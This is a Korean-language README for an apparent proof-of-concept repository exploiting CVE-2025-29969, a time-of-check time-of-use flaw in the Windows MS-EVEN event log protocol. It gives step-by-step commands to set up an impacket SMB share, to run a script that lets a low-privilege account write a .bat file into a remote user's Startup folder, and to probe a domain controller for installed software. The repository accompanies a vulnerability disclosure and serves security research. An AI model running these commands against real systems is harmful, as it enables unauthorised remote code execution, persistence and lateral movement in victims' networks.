EventLogin-CVE-2025-29969

EventLogin - CVE-2025-29969

EventLogin은 MS-EVEN 프로토콜의 Time-of-check time-of-use 취약점입니다. 이 취약점을 통해 낮은 권한의 사용자가 원격 머신에 임의의 파일을 쓸 수 있어, 원격 쓰기를 위해 Administrator 계정이 필요하지 않게 됩니다.

이 저장소에는 두 개의 스크립트가 있습니다. 하나는 취약점을 무기화하는 스크립트(write_file_remotely.py)이고, 다른 하나는 취약점의 기본 요소 중 하나를 사용하여 낮은 권한 사용자로서 원격 파일이 존재하는지 확인하는 스크립트입니다. 이는 예를 들어 도메인 내 다른 컴퓨터에 설치된 프로그램을 확인하는 데 유용합니다.

전체 분석 내용은 여기에서 읽을 수 있습니다:

EventLog-in: Propagating With Weak Credentials Using the Eventlog Service in Microsoft Windows

write_file_remotely 사용법

먼저, impacket을 사용하여 SMB 공유를 생성합니다:

impacket-smbserver -smb2support Share /tmp/safebreach

참고: 스크립트는 공유 이름으로 'Share'를 하드코딩하여 사용하므로, 필요시 수정하십시오.

그런 다음, write_file_remotely.py 스크립트를 실행하고 필요한 모든 매개변수를 포함하십시오:

1. ip_to_attack - 원격 머신의 IP
2. smb_server_ip - 공유를 연 머신의 IP, 공격자 머신일 수 있음
3. username and password - 낮은 권한 계정의 자격 증명
4. valid_evtx_file_path - 이전에 연 공유에 저장한 유효한 EVTX 파일의 경로
5. local_file_path - 업로드하려는 파일
6. remote_file_path - 업로드하려는 원격 파일 경로

예시:

python write_file_remotely.py 192.168.56.102 192.168.56.105 lowuser Test123 "/tmp/safebreach/Sample.evtx" "calc.bat" "C:\\Users\\lowuser\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\target.bat"

check_if_exists 사용법

이 스크립트는 취약점 자체를 사용하지 않고, "CreateFile" 기본 요소만 사용하여 네트워크 정찰을 도울 수 있습니다.

예를 들어, 도메인에 있는 원격 머신의 Program Files 디렉터리는 전체 'Users' 그룹이 접근 가능하므로, 모든 사용자의 자격 증명을 사용하여 다른 머신에 파일이 존재하는지 확인할 수 있습니다.

다음 매개변수를 허용합니다:

1. ip_to_attack - 정찰할 IP
2. username - 도메인 사용자의 사용자 이름 및 비밀번호
3. filepath_to_check - 확인할 파일

예를 들어, 낮은 권한 사용자를 사용하여 DC(192.168.56.57)에 Wireshark가 설치되어 있는지 확인합니다.

python check_if_exists.py 192.168.56.57 lowuser Password1! "C:\Program Files\Wireshark"

결과:
FILE_EXISTS_AND_IS_DIRECTORY